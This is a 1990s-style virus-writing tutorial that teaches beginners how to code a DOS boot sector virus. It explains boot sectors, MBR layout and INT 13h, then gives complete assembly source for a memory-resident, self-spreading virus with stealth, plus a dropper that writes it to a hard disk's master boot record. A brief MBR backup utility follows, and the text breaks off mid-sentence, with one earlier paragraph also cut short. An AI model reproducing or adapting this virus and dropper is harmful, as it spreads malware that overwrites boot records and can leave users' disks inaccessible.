1.Introduction
==============
In my search for knowledge, I found many tutorials out there that were
created to show the user how to code a simple boot sector virus. Although the
tutes were very good in essence, all of them were missing one thing: they
weren't created from a beginner's point of view. So, I had to learn all the
crap alone by disassembling other viruses. It was hard for me back then to
understand those tutorials as it is for some of you now.
Well, this is my attempt to make you understand how a boot sector virus
works and how can you code one. After reading this tutorial, you'll see that a
boot sector virus is generally easier to code than a COM/EXE infector.
2.Bootup theory
===============
Most of you have computers, but not quite all of you know what really
happens inside them. This is normal, because not everyone is a computer
engineer. And besides that, maybe not everyone wants to know what happens
there. Well, either way, I will try to explain some things about what happens
when your computer boots up. The bootup process is defined as the computer's
initialization process.
Before we go into the real stuff, you should know that there are two "ways"
of (re)booting your computer: cold and warm. The cold boot is activated when
you physically switch your computer ON or when you press the Reset button. The
warm boot is usually activated when you press Ctrl+Alt+Del. Both of them act
almost the same, except the fact that the cold boot is first physically
reseting the CPU line and it does some hardware tests and only after that it
boots your computer. So, the warm boot is just a "smaller" cold boot, meaning
that it does almost the same thing except those hardware things. If you would
like a more complete explanation about the hardware bootup process, please
send me an e-mail and I'll hook you up with some nice documentations.
When your computer boots up, the CPU sets the CS:IP registers to point to
0FFFFh:0000 (address of ROM post code). The ROM POST (Power On Self Test) code
is actually a set of routines that will check the hardware configuration and
will initialize the BIOS data area from 0:0400h. After jumping to CS:IP, the
CPU will start executing the POST code, thus initializing the DMA and the PIC,
and will test your hardware configuration.
After that, the CPU will execute an Int 19h instruction (bootstrap loader).
Before executing int 19h, DL will be automatically set to the physical
drive's number where the boot sector is located.
The boot sector is a 512-bytes (size of 1 sector) record located on track
0, head 0, sector 1 on floppy disks and on the first logical sector of any DOS
partitions.
The hard disk bootup is a bit different from the floppy one, because a
hard drive can have more than one boot sector. So, I will present the bootup
processes separately for floppy disks and for hard disks.
A. Diskette (floppy disk) bootup
--------------------------------
The BIOS will search for a boot sector on track 0, head 0, sector 1. If
there's no disk in drive A, an error message will be displayed OR if there's a
hard disk installed on the system, the HDD's master boot record will be loaded
(see step B).
If a floppy disk is in drive A, the first sector of the floppy disk (track
0, head 0, sector 1) will be read into memory at address 0:7C00h. Then, this
boot sector will be checked if it's a valid one, by comparing the last two
bytes (offset 1FEh) of the sector with 55AAh. If the boot sector is valid, the
BIOS will pass control to it. If not, an error message will be displayed, and
the user will be prompted to insert a bootable floppy disk in drive:
No system disk or disk error
Replace and press any key when ready
B. Hard disk bootup
-------------------
Unlike floppy disks, a hard drive can have more then one boot sector,
because a hard drive can be partitioned. The (1st) partition table is an array
of 64 bytes located at offset 1BEh in the Master Boot Record (on track 0, head
0, sector 1).
A hard disk can be divided (theoretically) into 1 to 4 partitions. This is
certanly very helpfull for those who want to use other operating systems
(besides DOS) on their computers. Each partition contains a boot sector on its
first logical sector.
When the computer boots up on a hard drive, the first sector (track 0, head
0, sector 1) on the hard disk will be read into memory at 0:7C00h. This sector
should contain a master bootstrap loader and a partition table. After loading
the MBR (master boot record) into memory, the master bootstrap loader will
examine the partition table. If one of the entries from the partition table
indicates an active (bootable) partition, its boot sector will be read into
memory and the system initialization will pass control to it.
If none of the partitions is bootable, the computer will go into ROM BASIC
or it will display a "DISK ERROR" message. If any of the boot indicators are
invalid or if more then one indicator is marked as bootable, the system will
display an "INVALID PARTITION TABLE" message and it will hang. If the
partition's boot record can't be read within five retries, an "ERROR LOADING
OPERATING SYSTEM" message will be displayed and the system will hang. Also,
if the partition's boot record doesn't contain a valid signature (55AAh), an
"MISSING OPERATING SYSTEM" message will be displayed and the system will also
hang.
If none of the above things happens (phewww... ;), then I guess something
went wrong and you should keep restarting your system till you get an "CPU
internal error" or something... hehehe...=) (JOKEEE! :)
Neah... seriously now... if the partition table looks okay, the first
logical sector of the active partition will be read into memory and the control
will be given to it.
3.Boot sectors, partition tables, etc...
========================================
Since I told you so many things about boot sectors and partition tables
it would be really nice (in my humble opinion ;) if I would tell you now how
"they" actually look... :)
So, here's the structure of the boot sector:
.--------.------.-----------------------------------------------------------.
| Offset | Size | Description |
.--------.------.-----------------------------------------------------------.
| 0h | 3 | Jump to executable code: |
| | | - for DOS 2.x, 3 byte near jump (0E9h) |
| | | - for DOS 3.x, 2 byte near jump (0EBh) + NOP (90h) |
.--------.------.-----------------------------------------------------------.
| 3h | 8 | OEM company name and version (eg. 'MSDOS5.0') |
.--------'------'-----------------------------------------------------------.
| .--> Start of BIOS Parameter Block (BPB) and of Extended BPB|
.--------.------.-----------------------------------------------------------.
| 0Bh | 2 | Bytes per sector (SectSize) |
.--------.------.-----------------------------------------------------------.
| 0Dh | 1 | Sectors per allocation unit - cluster (ClustSize) |
.--------.------.-----------------------------------------------------------.
| 0Eh | 2 | Reserved sectors (sectors before 1st FAT) |
.--------.------.-----------------------------------------------------------.
| 10h | 1 | Number of File Allocation Tables (FATs) |
.--------.------.-----------------------------------------------------------.
| 11h | 2 | Maximum number of root directory entries (32 bytes each) |
.--------.------.-----------------------------------------------------------.
| 13h | 2 | Total number of sectors in media.If the logical disk size |
| | |is greater then 32MB, this value is 0 and the actual size |
| | |is reported at offset 26h (DOS 4.0+) |
.--------.------.-----------------------------------------------------------.
| 15h | 1 | Media descriptor byte (same as 1st byte in FAT) |
.--------.------.-----------------------------------------------------------.
| 16h | 2 | Number of sectors in one FAT |
.--------'------.-----------------------------------------------------------.
| '----> End of BIOS Parameter Block (BPB) |
.--------.------.-----------------------------------------------------------.
| 18h | 2 | Sectors per track (cylinder) |
.--------.------.-----------------------------------------------------------.
| 1Ah | 2 | Number of read/write heads |
.--------.------.-----------------------------------------------------------.
| 1Ch | 2 | Hidden sectors LOword (partitions < 32MB) |
.--------'------'-----------------------------------------------------------.
| Extended DOS v4.0+ Boot Record |
.--------.------.-----------------------------------------------------------.
| 1Eh | 2 | Hidden sectors HIword (partitions > 32MB) |
.--------.------.-----------------------------------------------------------.
| 20h | 4 | Total number of sectors in this disk (partitions > 32MB) |
.--------'------.-----------------------------------------------------------.
| '----> End of Extended BIOS Parameter Block (EBPB) |
.--------.------.-----------------------------------------------------------.
| 24h | 2 | Physical drive number (0=floppy, 80h=hard disk) |
.--------.------.-----------------------------------------------------------.
| 26h | 1 | Extended boot record signature (29h) |
.--------.------.-----------------------------------------------------------.
| 27h | 4 | Volume serial number |
.--------.------.-----------------------------------------------------------.
| 2Bh | 11 | Volume label |
.--------.------.-----------------------------------------------------------.
| 36h | 8 | File System ID (eg. 'FAT12 ','FAT16 ',...,'reserved') |
.--------.------.-----------------------------------------------------------.
| 3eh | 450 | Boot code & data |
'--------'------'-----------------------------------------------------------'
Let's see now what is the master boot record's (on short MBR) structure:
.--------.------.------------------------------.
| Offset | Size | Description |
.--------.------.------------------------------.
| 0h | 446 | Master bootstrap loader code |
.--------.------.------------------------------.
| 1BEh | 16 | Partition 1 entry |
.--------.------.------------------------------.
| 1CEh | 16 | Partition 2 entry |
.--------.------.------------------------------.
| 1DEh | 16 | Partition 3 entry |
.--------.------.------------------------------.
| 1EEh | 16 | Partition 4 entry |
.--------.------.------------------------------.
| 1FEh | 2 | 55AAh signature |
'--------'------'------------------------------'
The partition record is an 16-byte array. Here is its structure:
.--------.------.------------------------------------.
| Offset | Size | Description |
.--------.------.------------------------------------.
| 0h | 1 | Boot indicator |
.--------.------.------------------------------------.
| 1h | 1 | Beginning head |
.--------.------.------------------------------------.
| 2h | 1 | Beginning sector |
.--------.------.------------------------------------.
| 3h | 1 | Beginning cylinder (track) |
.--------.------.------------------------------------.
| 4h | 1 | Operating system indicator |
.--------.------.------------------------------------.
| 5h | 1 | Ending head |
.--------.------.------------------------------------.
| 6h | 1 | Ending sector |
.--------.------.------------------------------------.
| 7h | 1 | Ending cylinder (track) |
.--------.------.------------------------------------.
| 8h | 4 | Nr. of sectors preceding partition |
.--------.------.------------------------------------.
| 0Ch | 4 | Length of partition in sectors |
'--------'------'------------------------------------'
The Boot indicator is 0 if the partition isn't bootable and 80h if the
partition is bootable. Note: if more than one partition have the boot indicator
set to 80h, the system will hang (read the "error list" above).
The Operating System indicator is a 1 byte value which holds the current
installed operating system. There's no point in writing the whole list (256
values) here. The most important ones are:
0 - unknown operating system
1 - DOS 12 bit FAT
4 - DOS 16 bit FAT (up to 32 MB)
5 - DOS Extended partitions (DOS 3.3+)
6 - DOS 3.31+ Large File System (16 bit FAT, over 32 MB)
The other values are assigned to other operating systems like XENIX, OS/2,
AIX, Windows95, Novell, CP/M, Linux + many, many others...
4.Boot sector viruses
=====================
A boot sector virus is a virus that infects the boot sector of floppy disks
and in most cases the master boot record of hard disks. It usually spreads via
floppy disks. An uninfected computer can get infected by booting from an
infected floppy disk. There IS NO OTHER WAY a simple boot virus can infect a
computer (except of course by using a dropper program).
Besides the basic boot sector virus that only infects the MBR/BS of disks,
there are also viruses wich besides infecting MBR/BS are also able to infect
regular COM/EXE programs.
These kind of viruses are called "multipartite". They are very dangerous,
because unlike a simple boot virus, they can also spread on uninfected
computers by executing an infected EXE/COM program. I shall not discuss
multipartite viruses just for the simple fact that if you are able to code
both a COM/EXE infector and a MBR/BS one, you can easily do them both in one
piece. There's no big deal in coding one. You'll see that i'm right... in
time... :)
The infection tehnique of boot sector viruses, as in any other viruses, can
look quite different from one virus to another. It all depends on the
programmer's originality and knowledge.
So, basically, an uninfected computer can become infected only by booting
from an already infected floppy disk. There are 3 major steps in the process
of infecting the hard disk's Master Boot Record:
.--.
-' '> user boots from an infected floppy disk and the virus gets executed
-----> the virus will save the original MBR of hard disk and will replace the
MBR with a copy of the virus
-. .> the virus will execute the original MBR and the system will continue to
'--' initialize, BUT the virus will be active in memory
After that, the computer's hard disk will be infected with the virus. Then,
every floppy disk accessed SHOULD become infected.
5.Let's code
============
As I told you before, the BIOS data area (0:400h) is being initialized when
the system boots up. This could be very important for our virus, because you
can find the total amount of conventional memory available on your computer at
0:413h. In most of the cases, this value is equal to 655.360 (640Kb*1024). Note
that Int 12h returns the same value in AX.
One of the most important things you need to know is that you CAN NOT use
DOS interrupts AT ALL while coding a boot sector virus. Why? Simple... because
the DOS kernel (IO/MSDOS.SYS) isn't loaded yet.So, you wont be able to call int
21h or other DOS interrupts in your virus. You can only use the basic BIOS
interrupts from 0h to 1fh. There are also some other BIOS interrupts you can
use too, but they aren't too important right now. Note that the stack used by
boot sectors is equal 0:07C00h, so SS:SP should be set to it on entry.
Since we can't use DOS interrupts in our virus, we must find a way to write
our virus to disk somehow. So, instead of the now popular 40h/int 21h function
we will use the Int 13h (Disk Intput/Output) interrupt.
Before I go any further, I shall present a bit the INT 13h subfunctions,
because you can't code a boot sector virus without knowing some things about
INT 13h. The most important INT 13h subfunctions are:
AH Subfunction
-- -----------
00h Reset/recalibrate controller
01h Get status of last operation
02h Read sectors
03h Write sectors
04h Verify sectors
05h Format track
08h Get drive parameters
09h Initialize drive parameters tables
0Ah Read long sectors
0Bh Write long sectors
0Ch Seek cylinder
0Dh Alternate disk reset
0Eh Read sector buffer
0Fh Write sector buffer
10h Check if a drive is ready
11h Recalibrate drive
12h Controller RAM diagnostics
13h Drive diagnostics
14h Controller internal diagnostics
15h Read disk type
16h Read change-of-disk status
17h Set diskette type
In our virus, we're only going to use subfunction 02h (read sectors) and
subfunction 03h (write sectors).
-> Subfnct 02h - Read sectors
Input: AH=02h
AL=number of sectors to read
CH=track (cylinder) number (0-n) - low eight bits
CL=sector number (1-n)
DH=head number
DL=drive (0=drive A..., 80h=first hard disk, 81h=second hard disk)
ES:BX -> buffer to store the read data
Output:
CF set on error, and error code is passed in AH
CF clear if successful
AL=number of sectors read
-> Subfnct 03h - Write sectors
Input: AH=03h
AL=number of sectors to write
CH=track (cylinder) number (0-n) - low eight bits
CL=sector number (1-n)
DH=head number
DL=drive (0=drive A..., 80h=first hard disk, 81h=second hard disk)
ES:BX -> buffer to write to disk
Output:
CF set on error, and error code is passed in AH
CF clear if successful
AL=number of sectors writen
A boot sector virus can be divided into 3 parts: the part that actually
installs the virus in memory and grabs the Int 13h, the INT 13h handler and the
infection and/or stealth part.
A. Virus installation
---------------------
This can be done in several ways, one better than another. Many virus
writers prefere to infect the boot sector when they are installing the virus
in memory. Others just install the virus and choose to infect the boot sector
when INT 13h is called. I will present the second case, since it's much easier
to understand. Then, when you'll grow up you can do it as you wish! :)
The steps in installing the virus in memory are:
-> Allocate memory for your virus, and then copy the virus there
-> Modify the INT 13h interrupt vector with your own handler
-> Return control to the original boot sector
Okay... now let's take each step separately...
1) Allocate memory for your virus, and then copy the virus there
----------------------------------------------------------------
Since we're talking about boot stuff here, I must tell you again that you
can not use any DOS stuff. And that includes MCBs (Memory Control Block) too.
There's no such thing as MCB or PSP or anything else there. That means that
you can't allocate memory as a normal file infector does.
Well, the only way to allocate memory for your virus, is to decrease the
TOM (Top Of Memory). You can find the total size of memory at 0:413h (BIOS
data area). Usually, this value is equal to 640 Kb. So, all you have to do is
to subtract the amount of memory you need from there.
But before you allocate anything, it would be very wise to set the stack
(SS:SP) to 0:7C00h, because the stack used by boot sectors is always equal to
that value.
So, you have stolen 1 Kb of memory from TOM. All you have to do now is to
find the segment of the address where you're gonna copy your virus. This can
be done very easily. You must get first the new size of memory which should be
639 Kb if you subtracted 1 KB, and then you must convert the value in
paragraphs. A paragraph is a 16-byte block of memory (2^4). The memory size
is stored in KBytes, and 1 KByte=1024 Bytes (2^10). So all you have to do in
order to get the segment is to shift the new value with 6 (or to divide it
with 2^6). Then, put the result in ES, set DS:SI to the beginning of your
virus and then do a rep movsX (Byte, Word, Dword). The virus will be copied
in memory.
Here's some code for what I just said:
;set the stack to 0:7C00h
install_virus: ;simple label
xor ax,ax ;clear AX
cli ;disable interrupts
mov ss,ax ;SS=0
mov sp,7C00h ;SP=7C00h
sti ;enable interrupts
;decrease the TOM with 1Kb
mov ds,ax ;DS=0
dec word ptr ds:[413h] ;subtract 1 Kb of memory
mov ax,word ptr ds:[413h] ;get the new value (should be=639 Kb)
;note that you can also use INT 12h for that
;find a new segment for your virus and then copy your virus there
mov cl,6
shl ax,cl ;convert from kilobytes to paragraphs
mov es,ax ;ES is now equal to the new segment
mov si,7C00h ;DS:SI=0:7C00h (beginning of virus)
xor di,di ;ES:DI=ES:0
mov cx,256 ;how many bytes to copy
cld
rep movsw ;copy CX*2 bytes from DS:SI to ES:DI
Since your virus is copied in memory, you can now easily jump there, coz
there's nothing really you can still do here. Example:
push es ;save the new segment on stack
lea ax,[inmemory]
push ax ;save the offset where to jump
retf ;jump to our virus in memory
inmemory:
; .... modify the INT 13h interrupt vector... etc
2) Modify the INT 13h interrupt vector with your own handler
------------------------------------------------------------
Now your virus should be in memory. To activate it, you must set the INT
13h vector to point to your handler. This way, everytime INT 13h gets called,
you'll be the first to know... ;)
An example of how can you modify the vector is:
;ES must hold the new segment and DS must be equal to 0
mov ax, word ptr ds:[13h*4] ;get the original int 13h entrypoint
mov word ptr cs:[old_13h], ax ;and save it into our variable
mov ax, word ptr ds:[13h*4+2]
mov word ptr cs:[old_13h+2], ax
mov word ptr ds:[13h*4+2],es ;set the segment
lea ax,myint13h ;set the new interrupt handler to
mov word ptr ds:[13h*4], ax ;point to "myint13h"
3) Return control to the original boot sector
---------------------------------------------
Since we're going to stealth our virus, the easier way to execute the
original boot sector is to perfom an Int 19h.
The 19h interrupt will read the first sector of drive (specified in DL) in
memory into address 0:7C00h and then it will transfer the control there. For
reading the first sector located on track 0, head 0 into memory, Int 19h makes
use of Int 13h's read subfunction (AH=2). Since our virus has already modified
the Int 13h offset to point to our interrupt handler, it will intercept this
read call aswell.
Our virus will first verify if the sector has already been infected. If it
hasn't, the virus will first read the uninfected boot sector in memory (thus
not screwing things up) and then it will infect the boot sector.
If the sector is infected with our virus, then our stealth routine will
redirect the read call to the original MBR/BS which in turn will be loaded into
0:7C00h and then executed there. This way, everything will go according to
our plans.
Note that the Int 19h DOESN'T clear the memory! It just reboots the
computer...
B. The INT 13h handler
----------------------
This is one of the most important parts of your virus. You have to do some
subfunction checking here in order to know exactly when to infect and when to
stealth your virus. An example should look like this:
myint13h:
cmp dh,0 ;check if head 0
jne exit_handler
cmp cx,1 ;check if sector 1 and track 0
jne exit_handler
cmp ah,2 ;read from sector 1 ?
jne exit_handler
call int13 ;fake the call
jnc read_call ;if no error, jump to our code
exit_handler:
db 0eah ;else jump to the original Int 13h
old_13h dd ?
After checking for the read call (to 0,0,1), the virus will fake a int 13h
call. This way, the buffer from ES:BX will be filled up with the sector that
was read. If the read was successfull, then we jump to our infection/stealth
procedure... if not, we jump back to the original vector.
Here is a piece of code that will fake an int 13h call:
int13:
pushf ;push flags on stack
call dword ptr cs:[old_13h] ;call the original entrypoint of int 13h
ret ;return to the caller
C. Infection/Stealth procedures
-------------------------------
Here is the part that actually MULTIPLIES/HIDES your virus.
Before explaining the true infection routine, I must take a break to tell
you some
your hard drive where you can store the original boot sector. There are some
free sectors at head 0, track 0, from sector 2 upwards. You could also store
the original boot sector at the end of your HDD, because there are very small
chances that you'll fill up the WHOLE hdd. Another smart thing to do would be
to choose a sector on the drive, copy the original stuff there, and then mark
the sector as bad from FAT.
SO, how will we infect? Well... again... there are more than one way to
do it. As usual, I'll choose the easier one: we'll replace the boot sector
with our virus and we'll save the original boot sector somewhere else on
disk. Then, when someone asks for it, we'll intercept the read function and
we'll stealth our virus by showing the user the original sector.
Since we'll replace the whole MBR, it's obvious that the partition table
from 1BEh will be overwriten by our virus and the hard disk won't be
accessible when booted from a clean diskette. The HDD will only work when the
virus is resident in memory. Almost the same thing goes for floppy disks. The
difference is that we have to make the floppy disks work on uninfected systems
too, coz if they don't, the virus won't spread anymore. The important stuff
from a boot sector are those 3Ch bytes, from offset 2 to 3Eh. So, we must save
them in our virus (of course, at the same offsets). Basically, an infected boot
sector should look like this:
.--------.------.-------------------------.
| Offset | Size | Description |
.--------.------.-------------------------.
| 0 | 2 | Jmp short to viral code |
| 2 | 3Ch | Boot (saved) stuff |
| 3Eh | 450 | Viral code |
'--------'------'-------------------------'
If you look again at the Int 13h interrupt handler, you will see that I
choosed to "do something" only when a read call to head 0, track 0, sector 1
has been made. This is very effective and easy to understand, BUT later when
you will create your own boot virus, I suggest you to "intercept" and work with
other int 13h functions aswell (write, verify...).
The fake call from the int 13h handler will fill the buffer from ES:BX with
the first sector of the drive. Now here begins the real thing...
First we save the ES:BX (and other registers too) because they are all going
to be modified later. We will of course, restore them right before we exit
from our infection/stealth procedure.
pushf ;save everything on stack
pusha
push ds es
Then we must check if the read sector is already infected with our virus.
If the sector is already infected, there's no need for us to infect again. We
will just stealth the sector by reading the original MBR/BS in memory.If the
sector isn't infected we'll infect it.
For checking if the sector has already been infected, we can simply use a
string identifier in our virus. Example:
vmark db 'VDaemon'
....
cmp word ptr es:[bx+offset vmark],'DV' ;check to see if infected
je stealth ;already infected => stealth
jmp infect ;not infected => infect it
Now let's go back to what I said earlier about saving those 3Ch bytes in
our virus. This can be done very easy by reading the original boot sector
to a free zone and then by copying the important bytes from it to our virus.
;first we set up the DS and ES registers to point to the Code Segment
push cs cs
pop ds es ;DS=ES=CS
;Our virus begins at CS:0 and ends at CS:512, so the original MBR/BS will be
;read right after our virus in memory. This way, the MBR/BS will start at
;CS:512 and it will end at CS:1024
;note that CL=1,CH=0,DH=0
mov bx,512 ;put it in CS:512
mov ax,201h ;read one sector
call int13 ;do it
;now we copy those 3Ch bytes from CS:514 (offset 2 of the original BS) to
;CS:2 (offset 2 of our virus)
mov cx,3ch ;copy 3ch bytes
mov si,514 ;from CS:514
mov di,2 ;to CS:2
cld ;clear direction flag
rep movsb ;move from DS:SI to ES:DI
Since we will copy the bytes to offset 2 in our virus, it's quite obvious
that we MUST have a free zone there. In other words, our virus must look like
this:
begin: ;here begins our virus
jmp short install_virus ;jump to the real viral body (2 bytes)
db 3ch dup (0) ;buffer used for saving the floppy stuph
install_virus:
...
Now our buffer is filled up and we can continue our infection process. Since
ES:BX still points to the original MBR/BS (read in CS:512), we can now write
the original sector to disk. But in order to do that, we must first find a
free place to store it.
Again, this can be done in many ways (see above), but because I want to
keep things as easier as possible to understand, I'll just use sector 2 for
storing the hard disk's MBR (head 0, track 0, sector 2) and sector 14 (head 0,
track 1, sector 14) for floppy disk's BS. Since the two sectors are located
in different places, we must check out on what kind of disk are we working.
In other words, we must check on what disk is the read call being made. Here's
the code:
mov cx,2 ;original MBR in sector 2
cmp dl,79h ;check if hard drive
ja hard_disk ;DL>79h => hard disk, else floppy disk
mov dh,1 ;original BS in head 1
mov cx,14 ;... sector 14
hard_disk:
...
Now that we have the original MBR/BS at CS:512 and the sector to write to
in CX, we can write it to disk.
;CX, DX and ES:BX must contain the sector (track, head) and the address of the
;buffer where we read the original MBR/BS in memory
mov ax,301h ;write the original MBR/BS
call int13 ;write it to disk
Everything has been done and the BIG moment has arrived. All that's left to
be done is to write our virus to 0,0,1 (head 0, track 0, sector 1) over the
old MBR/BS.
xor bx,bx ;from CS:0
xor dh,dh ;to head 0
mov cx,1 ;track 0, sector 1
mov ax,301h ;write our virus
call int13
Now we will restore the previous saved registers and we will exit our
procedure with a retf 2 instruction. Why 'retf 2'? Easy... Because we have to
make a double pop from stack. Here's the explanation:
First, look at our int13h procedure:
int13:
pushf ;push flags on stack
call dword ptr cs:[old_13h] ;call the original entrypoint of int 13h
ret ;return to the caller
As you can see, we first save the flags on stack. That's the FIRST push we
make. The SECOND one is made by the call function itself. Normally, everything
goes as usual in a call - ret cicle. Here we don't have that ret, because the
exit from the interrupt handler is made via an IRET instruction. This way, we
are stucked just with the call.
pop es ds ;pop everything from the stack
popa
popf
retf 2 ;free the stack
This is how the infection procedure must look like. Now let's talk about
the stealth part...
The stealth part is much easier to understand, because all that we have
to do is to read the original sector in memory (thus overwritting the ES:BX).
First we must check on what sector the original MBR/BS is stored...
mov cx,2 ;original MBR in sector 2
cmp dl,79h ;check if hard drive
ja hard_disk ;DL>79h => hard disk, else floppy disk
mov dh,1 ;original BS in head 1
mov cx,14 ;... sector 14
hard_disk:
As you can see, this looks exactly the same as the one from the infection
part.
Now all that's left to be done is to read the sector in memory using int
13h's read subfunction.
mov ax,201h ;read the original MBR/BS in memory
call int13
Well, this is IT! :) Wasn't that hard to understand, was it?
Now let's put it all together....
; ----------- cut here -----------
; Boot sector virus example
; coded by Virtual Daemon/SLAM for the MBR/BS infection tutorial
;
; Compile it with: tasm /m example.asm | tlink /x example.obj
; exe2bin example.exe
; and then use the dropper program located at the end of the virus
;
.286
.model tiny
.code
org 0
begin: ;here begins our virus
jmp short install_virus ;jump to the real viral body (2 bytes)
db 3ch dup (0) ;buffer used for saving the floppy stuph
install_virus:
xor ax,ax ;clear AX
cli ;disable interrupts
mov ss,ax ;SS=0
mov sp,7C00h ;SP=7C00h
sti ;enable interrupts
;decrease the TOM with 1Kb
mov ds,ax ;DS=0
dec word ptr ds:[413h] ;subtract 1 Kb of memory
mov ax,word ptr ds:[413h] ;get the new value (should be=639 Kb)
;note that you can also use INT 12h for that
;find a new segment for your virus and then copy your virus there
mov cl,6
shl ax,cl ;convert from kilobytes to paragraphs
mov es,ax ;ES is now equal to the new segment
mov si,7C00h ;DS:SI=0:7C00h (beginning of virus)
xor di,di ;ES:DI=ES:0
mov cx,256 ;how many bytes to copy
cld
rep movsw ;copy CX*2 bytes from DS:SI to ES:DI
push es ;save the new segment on stack
lea ax,[inmemory]
push ax ;save the offset where to jump
retf ;jump to our virus in memory
inmemory:
mov ax, word ptr ds:[13h*4] ;get the original int 13h entrypoint
mov word ptr cs:[old_13h], ax ;and save it into our variable
mov ax, word ptr ds:[13h*4+2]
mov word ptr cs:[old_13h+2], ax
mov word ptr ds:[13h*4+2],es ;set the segment
lea ax,myint13h ;set the new interrupt handler to
mov word ptr ds:[13h*4], ax ;point to "myint13h"
int 19h ;reboot with the virus in memory
myint13h:
cmp dh,0 ;check if head 0
jne exit_handler
cmp cx,1 ;check if sector 1 and track 0
jne exit_handler
cmp ah,2 ;read from sector 1 ?
jne exit_handler
call int13 ;fake the call
jnc read_call ;if no error, jump to our code
exit_handler:
db 0eah ;else jump to the original Int 13h
old_13h dd ?
read_call:
pushf ;save everything on stack
pusha
push ds es
cmp word ptr es:[bx+offset vmark],'DV' ;check to see if infected
je stealth ;already infected => stealth
;not infected => infect it
push cs cs
pop ds es ;DS=ES=CS
mov bx,512 ;put it in CS:512
mov ax,201h ;read one sector
call int13 ;do it
mov cx,3ch ;copy 3ch bytes
mov si,514 ;from CS:514
mov di,2 ;to CS:2
cld ;clear direction flag
rep movsb ;move from DS:SI to ES:DI
call choose_sector
mov ax,301h ;write the original MBR/BS
call int13 ;write it to disk
xor bx,bx ;from CS:0
xor dh,dh ;to head 0
mov cx,1 ;track 0, sector 1
mov ax,301h ;write our virus
call int13
jmp short exit
stealth:
mov ax,201h ;read the original MBR/BS in memory
call choose_sector
call int13
exit:
pop es ds ;pop everything from the stack
popa
popf
retf 2
choose_sector:
mov cx,2 ;original MBR in sector 2
cmp dl,79h ;check if hard drive
ja hard_disk ;DL>79h => hard disk, else floppy disk
mov dh,1 ;original BS in head 1
mov cx,14 ;... sector 14
hard_disk:
ret
int13:
pushf ;push flags on stack
call dword ptr cs:[old_13h] ;call the original entrypoint of int 13h
ret ;return to the caller
vmark db 'VDaemon' ;virus signature
org 1feh ;1feh=510=(512-word)
db 055h,0aah ;boot signature
end begin
; ----------- cut here -----------
And here goes a little dropper for the virus...
; ----------- cut here -----------
; tasm dropper.asm | tlink /x /t dropper.obj
;
.model tiny
.code
org 100h
start:
;read the original MBR in memory
mov ax,201h
mov dx,80h
mov cx,1
push cs
pop es
lea bx,after_end
int 13h
;write the original MBR to disk (0,0,2)
mov dx,80h
mov cx,2
mov ax,301h
lea bx,after_end
int 13h
;read the virus from file
mov ax,3d00h
lea dx,virus_sample
int 21h
xchg bx,ax
mov ah,3fh
lea dx,after_end
mov cx,512
int 21h
mov ah,3eh
int 21h
;write the virus to disk (0,0,1)
mov dx,80h
mov ax,301h
lea bx,after_end
mov cx,1
int 13h
;exit to operating system
mov ax,4c00h
int 21h
virus_sample db 'example.bin',0
after_end:
end start
; ----------- cut here -----------
6.Saving/restoring the MBR
==========================
Okay now... There are some other important things we need to talk about.
Some of you will still be scared after reading this tutorial: "Wha? No way
man... I'm not gonna try to make no fuckin' BS virus. Stupid Virtual Daemon...
what if I wont be able to recover my disk afterwards? What's going to happen
if I'll erase my MBR by mistake?"
Well, you must feel lucky because I haven't forgoten to mention some things
about it on this crappy tutorial. So, in order to help you with your problems
I "created" a lame program who will save/restore the MBR/BS of your hard disk.
So, whoooa...:) This is like a backup for your boot sector/partition table =)
The program needs a parameter: either '0' for saving the MBR/BS of the
first hard disk into a file (BOOTPART.CAP), either '1' for restoring the old
copy of the MBR/BS (from BOOTPART.CAP).
Use tasm/tlink to compile it.
--< cut here >--
.286
.model tiny
.code
org 100h
start:
mov ah,62h ;get the current PSP address
int 21h
mov es,bx ;ES=seg of PSP for current process
mov al,byte ptr es:82h ;point to the DOS command line
cmp al,'0' ;if 1st param='0' then save everything
je read_save_all
cmp al,'1' ;else, restore everything
je write_restore_all
push cs ;if no param entered, display err msg
pop ds
mov ah,9
lea dx,params
int 21h
exit:
mov ax,4c00h ;and exit...
int 21h
read_save_all:
push cs cs
pop ds es ;es=ds=cs
mov ah,3ch ;create a new file
xor cx,cx ;normal file even
lea dx,filename ;'bootpart.cap' is its name :)
int 21h
jnc r_continue
r_error:
mov ah,9 ;error creating 'bootpart.cap'
lea dx,createrr
int 21h
jmp exit
r_continue:
xchg bx,ax ;handle in BX
mov dh,0 ;read the Master Boot Record of 1st HDD
call readsector
mov ah,40h ;write it to our file
lea dx,buffer
mov cx,512
int 21h
jc r_error ;if error, exit
mov dh,1 ;read the Boot Sector of 1st HDD
call readsector
mov ah,40h ;write it to our file
lea dx,buffer
mov cx,512
int 21h
jc r_error ;if error, exit
mov ah,3eh ;close the file
int 21h
jmp exit
write_restore_all:
push cs cs
pop ds es ;es=ds=cs
mov ax,3d00h ;open
lea dx,filename ;'bootpart.cap'
int 21h ;NOW! :)
jnc w_continue
w_error:
mov ah,9
lea dx,readerr ;error reading BOOTPART.CAP file
int 21h
jmp exit
w_continue:
xchg bx,ax ;handle in BX
mov ah,3fh ;read the MBR from file in memory
lea dx,buffer
mov cx,512
int 21h
jc w_error
mov dh,0 ;write the MBR
call writesector
mov ah,3fh ;read the BS from file in memory
lea dx,buffer
mov cx,512
int 21h
jc w_error
mov dh,1 ;write the BS
call writesector
mov ah,3eh ;close the file
int 21h
jmp exit
readsector:
;input: head number in DH
;output: buffer filled up with the read sector
pusha ;save all registers
mov ah,2 ;subfunction 02h=read sectors
mov dl,80h ;80h=first hard disk
xor ch,ch ;track (cylinder) number
mov cl,1 ;sector number
mov al,1 ;sector count
lea bx,buffer ;address of our buffer
int 13h
popa ;restore all registers
ret
writesector:
;input: head number in DH
; buffer filled up with the sector you want to write
;output: nothing
pusha ;save all registers
mov ah,3 ;subfunction 03h=write sectors
mov dl,80h ;80h=first hard disk
xor ch,ch ;track (cylinder) number
mov cl,1 ;sector number
mov al,1 ;sector count
lea bx,buffer ;address of our buffer
int 13h
popa ;restore all registers
ret
createrr db 13,10,'Error creating BOOTPART.CAP!',13,10,'$'
readerr db 13,10,'Error reading BOOTPART.CAP!',13,10,'$'
params db 13,10,'MBR/BS backup, coded by Virtual Daemon [SLAM]',13,10
db 'Use: <0> to save the MBR/BS of the 1st HDD to a file (bootpart.cap)',13,10
db ' <1> to restore the previously saved MBR/BS from a file',13,10,'$'
filename db 'bootpart.cap',0
buffer db 512 dup (?)
end start
--< cut here >--
So hmm... compile the above code with TASM/TLINK and then run the program
with the "0" parameter. It will create a file called BOOTPART.CAP that contains
